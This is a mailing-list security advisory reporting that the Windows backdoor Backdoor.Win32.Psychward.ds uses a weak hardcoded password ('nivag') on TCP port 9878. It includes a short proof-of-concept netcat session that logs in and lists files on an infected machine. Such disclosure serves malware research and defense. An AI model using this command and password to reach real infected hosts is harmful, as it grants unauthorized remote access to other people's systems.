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Date: Tue, 18 May 2021 17:12:34 -0400
From: malvuln <>
Subject: [FD] Backdoor.Win32.Psychward.ds / Weak Hardcoded Password

Discovery / credits: Malvuln - (c) 2021
Original source:

Threat: Backdoor.Win32.Psychward.ds
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 9878 and requires a password
for remote user access. However, the backdoors password "nivag" is weak and
hardcoded in plaintext within the executable.
Type: PE32
MD5: 9e22514c9b0e74c7fcb07b7c091f6123
Vuln ID: MVID-2021-0219
Disclosure: 05/18/2021

nc64.exe x.x.x.x 9878
connected 05/18/21 09:39:43. version 0.2.1
pwd nivag
password accepted
assembly             0
Backdoor.Win32.Psychward.ds.9e22514c9b0e74c7fcb07b7c091f6123.exe 51433
bfsvc.exe            65536
BitLockerDiscoveryVolumeContents 0
bootstat.dat         67584
diagerr.xml          7623
diagwrn.xml          7623
Downloaded Program Files 0
ELAMBKUP             0
Enterprise.xml       35990
explorer.exe         3904296
Fonts                0
HelpPane.exe         976896

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not attempt to download Malware samples. The author of this website takes
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